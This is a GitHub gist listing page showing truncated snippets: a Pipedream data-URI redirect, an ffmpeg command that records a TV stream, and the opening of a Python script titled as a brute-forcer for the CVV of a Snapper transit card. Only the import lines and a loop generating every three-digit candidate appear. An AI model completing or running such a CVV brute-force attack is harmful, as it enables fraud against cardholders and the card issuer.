Skip to content

Instantly share code, notes, and snippets.

Avatar
🧠
Overthinking

Finn Greig finngreig

🧠
Overthinking
View GitHub Profile
@finngreig
finngreig / redirect.js
Created May 20, 2022
Code for Pipedream Notion data URI redirect
View redirect.js
import validDataUrl from "valid-data-url"
export default defineComponent({
async run({ steps, $ }) {
const b64Uri = steps.trigger.event.query.uri;
if (validDataUrl(b64Uri)) {
await $.respond({
status: 302,
headers: {
"Location": b64Uri
@finngreig
finngreig / snapper_cvv_brute_force.py
Created May 18, 2022
Python script that finds the CVV of a Snapper card
View snapper_cvv_brute_force.py
import random
import time
import requests
# may not work for native cards
def brute_force_cvv(card_number):
for i in range(0, 1000):
num = str(i).zfill(3)
@finngreig
finngreig / tvnz2_example.sh
Created Sep 13, 2021
Example: saving TVNZ 2 HLS stream to MP4 using ffmpeg
View tvnz2_example.sh
ffmpeg -i "https://i.mjh.nz/nz/tv.10.m3u8" -bsf:a aac_adtstoasc -vcodec copy -c copy -crf 50 file.mp4